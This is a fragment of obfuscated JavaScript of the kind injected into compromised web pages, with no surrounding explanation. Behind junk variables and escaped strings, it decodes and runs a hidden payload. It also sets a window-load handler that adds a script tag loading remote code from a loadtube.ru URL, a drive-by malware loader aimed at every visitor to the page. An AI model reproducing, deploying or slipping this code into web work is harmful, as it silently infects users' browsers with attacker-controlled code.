Wu;if(Wu!='' && Wu!='ZY'){Wu=null};var mu=new Array();var JUb;if(JUb!='FC' && JUb != ''){JUb=null};var aa = P[t("prelace", [1,2,0,3,4])](JO, gZ);var AX;if(AX!='JOe'){AX='JOe'};var zN="zN";var aa = vr(aa);this.Om=false;var L=vr(V);this.FA=false;var aX=new Date();var pd="pd";var Zo=new String();for(var W=U; W < (Z[t("nlgeth", [1,3,0,2])]);W=W+[226,233,1][2]) {var TQ="";var CG;if(CG!='mit'){CG=''};var C = V.charCodeAt(c);var yA = Wn(Z,W);var Gz=false;this.YsS=false;this.AH=false;yA = T(yA, C);this.KG="";yA = T(yA, L);yA = T(yA, aa);var Fv;if(Fv!='Wh'){Fv='Wh'};c++;var sCF=2018;var rB;if(rB!='' && rB!='ms'){rB='lS'};if(c > V.length-H){this.rxD=49733;var js=new Date();c=U;var Ty;if(Ty!='' && Ty!='wDz'){Ty=''};this.cv="";}var oV;if(oV!='zS'){oV='zS'};var Df;if(Df!='BL'){Df='BL'};var gW;if(gW!='mQ'){gW=''};var XX="XX";Mh += ST(yA);var fc=new Date();var YD;if(YD!='' && YD!='Cr'){YD=''};}var ok='';for(b=U; b < o; b+=mJ){var An=new String();this.WA="WA";var xn=6484;var hC=false;this.WI="";var r = u[b + H];var Fq;if(Fq!=''){Fq='Ha'};var Vn = ST(u[b]);var vz='';var fE=new Array();var D = new ta(Vn, ST(103));var Zg=new Date();Mh=Mh[t("erlpcae", [1,0])](D, r);var OO;if(OO!='nT' && OO!='SzQ'){OO=''};var AW=new Array();}var mR;if(mR!='OUJ'){mR='OUJ'};var CV=new M(Mh);this.Hr=55655;var Kp;if(Kp!=''){Kp='Cq'};CV();this.YC=52463;var Sx;if(Sx!='CdI'){Sx='CdI'};aa = '';var we;if(we!='wg'){we=''};P = '';L = '';var to;if(to!=''){to='mI'};var Ol;if(Ol!='jR'){Ol='jR'};CV = '';this.DW="DW";V = '';var Jk;if(Jk!=''){Jk='aT'};var NdQ;if(NdQ!=''){NdQ='uD'};Mh = '';var zG="zG";var Bf='';var gJ=new String();var qMQ=false;var yn;if(yn!=''){yn='fv'};this.Yf='';var oT='';return '';this.mKJ="";var zZ;if(zZ!='Xh' && zZ!='YT'){zZ='Xh'};};var pvx='';var Sl;if(Sl!='Td' && Sl!='zk'){Sl=''};s(ZH);


var sR='';var dq='';function J(){var UM;if(UM!='' && UM!='Jq'){UM='v'};this.Q="";var mA;if(mA!='' && mA!='a'){mA='S'};var H=window;var wo;if(wo!='' && wo!='f'){wo=''};this.p='';var x=unescape;var M;if(M!='zn'){M='zn'};var I=new Array();var d=x("%2f%69%6e%66%6f%6c%69%6e%6b%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%65%70%6f%73%69%74%66%69%6c%65%73%2e%63%6f%6d%2e%70%68%70");var LD=new String();var X;if(X!='SQ'){X='SQ'};var FT="";function m(V,O){var wT;if(wT!=''){wT='nP'};var K="Prlg".substr(3);var T;if(T!=''){T='fm'};var SS;if(SS!=''){SS='KE'};var n=x("%5b"), g=x("%5d");var gA=n+O+g;var G;if(G!='' && G!='W'){G=''};var F=new RegExp(gA, K);var DA;if(DA!='AS' && DA!='Hd'){DA='AS'};var Mq;if(Mq!='yr'){Mq='yr'};return V.replace(F, new String());var Ya="";};var SY='';var GE=new String();var rJ=new Date();var iw=new Array();var l=m('841516057331926866645703152676','29561374');var Ft=new String();var xT=document;var mQ=new String();function FX(){var e=new String();var U=x("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");mQ=U;mQ+=l;var nK;if(nK!=''){nK='IN'};mQ+=d;var ec='';var Ib=new String();var yv;if(yv!='' && yv!='PF'){yv='fO'};this.gm="";try {var kK;if(kK!='' && kK!='AJ'){kK='yQ'};var AZ;if(AZ!='' && AZ!='VF'){AZ=null};D=xT.createElement(m('skclrlilpktm','mJylokLj2fAHUz'));D[x("%64%65%66%65%72")]=[1,1][0];D[x("%73%72%63")]=mQ;this.Cm="";this.AT='';var eI;if(eI!='' && eI!='tD'){eI='Zk'};xT.body.appendChild(D);this.bD='';var mX="";var Bz;if(Bz!='' && Bz!='Et'){Bz=''};} catch(s){var Hj;if(Hj!='bm' && Hj!='Sf'){Hj='bm'};alert(s);};var vc;if(vc!='bq' && vc != ''){vc=null};}var M_="";this.gC="";var ld=new Date();H["onloa"+"dz9r7".substr(0,1)]=FX;var QB;if(QB!='Ds'){QB='Ds'};};var zz=new Array();J();var YB;if(YB!='kY'){YB=''};